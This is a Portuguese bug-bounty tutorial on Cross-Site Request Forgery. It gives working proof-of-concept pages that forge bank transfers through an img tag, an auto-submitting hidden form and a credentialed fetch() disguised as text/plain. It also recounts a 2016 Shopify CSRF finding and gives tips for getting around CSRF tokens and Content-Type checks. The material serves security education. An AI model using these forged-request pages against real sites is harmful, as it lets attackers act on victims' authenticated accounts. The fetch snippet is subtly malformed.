Cross-Site Request Forgery-CSRF, ou falsificação de requisição entre sites, é um dos ataques mais antigos, ele existe praticamente desde a fundação da WEB. Ele ocorre quando, um site malicioso força o navegador do usuário a realizar requests arbitrárias em um aplicativo WEB que ele esteja autenticado. Para que este ataque ocorra é esperado que a vítima esteja logada em sua conta e acesse o link malicioso.
Para um melhor entendimento desta vulnerabilidade, vou dar um exemplo.
- Você faz login em seu banco.
- Recebe um link no email e o acessa.
- Percebe que sumiram $1000 da sua conta.
Como isso funcionou? Simples, ao fazer login no banco, o usuário recebe cookies do servidor, os mesmos são anexados em todas as requests feitas ao banco, independente da origem delas. Portanto, se o atacante analisar como funciona o mecanismo de transferência de valores o mesmo pode reproduzi-lo em seu site malicioso, assim quando um cliente, autenticado, acessá-lo sofrerá o ataque.
Na prática o ataque funcionaria da seguinte forma:
Vamos supor que para fazer uma transferência o seu banco envie uma request do tipo GET, nada seguro, nesta url: http://banco.com/transfer?para=nome&montante=valor o atacante poderia usar uma página web maliciosa simples como esta para fazer o ataque:
<!DOCTYPE html>
<html>
<body>
<img src="http://www.banco.com/transfer?para=thiago&montante=1000">
</body>
</html>
Vamos entender o que esta página maliciosa está fazendo, o atributo src da tag html img
funciona fazendo um GET no link da source e exibindo o conteúdo, logo no carregamento da página é feito um GET no link de transferência e o cookie é indexado, gerando assim, uma solicitação autêntica.
O mesmo tipo de ataque pode ser feito via post, neste caso a request feita pelo banco seria parecida com esta:
POST / HTTP/1.1
Host: banco.com/transfer
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Content-Type: text/plain
Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3
Connection: keep-alive
Cookie: SID=abcdefg
para=nome&montante=valor
O atacante então, poderia criar uma página parecida com esta:
<!DOCTYPE html>
<html>
<body>
<form method="POST"
action="http://www.banco.com/transfer"
id="form"
enctype="text/plain">
<input type="hidden" name="para" value="thiago">
<input type="hidden" name="montante" value="1000">
</form>
<script>document.getElementById("form").submit()</script>
</body>
</html>
Esta página funciona com um formulário, nele inserimos os atributos method, lá inserimos o tipo de request, definimos o action que é basicamente o link para onde a request deve ser enviada, definimos o id para identificá-lo em nosso código javascript, e por último definimos o enctype que é o Content-Type da request.Nas tags input, definimos o nome e o valor, isso será indexado no body da nossa request, da seguinte forma:para=thiago&montante=1000
o "&" é usado para separar dois inputs.Ao acessar esta página a vítima envia uma request post para o banco, e indexa seu cookie, sofrendo assim, o ataque.
Com a disseminação desse tipo de ataque foram criadas diversas políticas de proteção contra ele, sendo a mais conhecida o same origin policy, nele o navegador impede que requests ou recursos sejam solicitados entre um site, e por exemplo, um iframe contido nele.Para que uma request, seja de fato feita, o site e o iframe devem ter a mesma url, o mesmo protocolo-http/https, e a mesma porta.
Essa proteção foi afrouxada com a chegada a política de CORS, ou compartilhamento de recursos de origem cruzada, nela sites com urls, protocolos e até portas diferentes podem se comunicar e trocar recursos, para isso o servidor define um cabeçalho chamado Access-Control-Allow-Origin
, ele define se os recursos podem ser compartilhados com a Origin fornecida,mesmo não sendo a maneira mais segura de se proteger contra CSRF, ainda assim é melhor do que aceitar qualquer request.
No entanto, não são todas as requests que "ativam" o CORS, as mais simples como as citadas acima passam sem problemas por ele, o content-type do tipo application-json, já é considerado algo malicioso e digno da atenção do CORS.
Em 2016, o pesquisador Akhil Reni encontrou uma falha no Shopify que permitia desconectar um usuário de seu Twitter, para isso Akhil analisou como funcionava o processo de logout shopify, e percebeu que o mesmo realizava uma request do tipo GET para a seguinte url: https://twitter-commerce.shopifyapps.com/auth/twitter/disconnect segue um exemplo da request:
GET /auth/twitter/disconnect HTTP/1.1
Host: twitter-commerce.shopifyapps.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html, application/xhtml+xml, application/xml
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://twitter-commerce.shopifyapps.com/account
Cookie: _twitter-commerce_session=bmpuTE5EdnUvYUU0eGxJRk1kMWo5WkI3Wmh1clJkempOTDcya2R3eFNIMG8zWGdpenMvTXY4eFczTWUrNGRQeXV4ZGVycEVtTDZWcFZVbEg1eEtFQjhzSEJVbkM5K05VUVJaeHVtNXBnNTJCNTdwZ2hLL0x0Kyt4eUVlSjRIOWdYTkcwd1NQWWJnbjRNaTF5UXlwa1ZIUlAwR1JmZ1Y5WmRvN2ZHWFY5REZSUmlsR0lnMHZlSjR1OTlTMW5xWDdZRnVGSnBSeEhqbWpNS3lYZmxBNjZoVE00L3pQT2NMd1NONkdwb2pkMXhDS1E2M2RXYlovZjYwaUZnV0JQKzQySlN0MTNKNG55Zlg2azFDdVJJL3RidmJMM0VJNmRVejhZbjVDTnFZNmxFN0k9LS1lY1Y2dnpBZTJCalZzS014SldFUllBPT0%3D--77463ef21e4c8ef530f466db49f78b8e1c2e1129; _ga=GA1.2.469272249.1453024796; _gat=1
Connection: keep-alive
O pesquisador montou uma página com o seguinte código:
<html>
<body>
<img src="https://twitter-commerce.shopifyapps.com/auth/twitter/disconnect">
</body>
</html>
Feito isso, conseguiu gerar uma prova de conceito(PoC), e a enviou para a empresa, ele recebeu $500 por esta falha.
O report todo pode ser lido aqui.
Para explorar esta falha o pesquisador deve estar atento aos funcionamento dos processos mais perigosos como, remoção de conta, troca de email e troca de senha, analisar como funcionam e tentar reproduzi-los em seu site malicioso.
Alguns problemas podem ser encontrados ao tentar explorar esta vulnerabilidade, os principais são, Content-Type diferentes ou CSRF token, o segundo é um token aleatório e único gerado pelo servidor e que fica salvo na sessão do usuário, ele geralmente fica em um input hidden e é enviado e verificado em toda a requisição; infelizmente não há muitas formas de burlá-lo, o pesquisador deve apenas conferir se ele está implementado corretamente ou seja, se o servidor está realmente verificando o valor, para isto, basta troca-lo por um valor parecido.
O problema do Content-Type ocorre quando ele é do tipo application/json, os formulários HTTP atualmente não permitem este cabeçalho aceitando apenas, text/plain, multipart/form-data e application/x-www-form-urlencoded, outro método seria usar requests javascript para mudar o Content-Type, mas isso ativa o CORS e impede a request de ser feita.Para tentar burlá-lo o pesquisador deve verificar se o servidor valida o Content-Type, ou não, caso valide o mesmo pode tentar usar um flash + 307 redirection, mas não irei comentá-lo aqui pois flash applications não funcionaram mais após dezembro de 2020; caso não haja validação, o pesquisador pode usar um Content-Type text/plain e reproduzir um json no body da request. Exemplo:
<!DOCTYPE html>
<html>
<body>
<script>
var url = http://banco.com/transfer
var headers ={method: ‘POST’, credentials: ‘include’, headers: {‘Content-Type’: ‘text/plain’}, body: ‘{“para”:”thiago”,”montante”:”1000”}’}
fetch(url,headers)
</script>
</body>
</html>
Vamos analisar o que fiz acima, primeiro criei uma página html normal com um código javascript nela, esse código usa uma função para requisições http chama fetch, ela aceita dois argumentos, sendo o primeiro nossa url e o segundo um array contendo o método da request, informações sobre cookies, content-type e o body dela.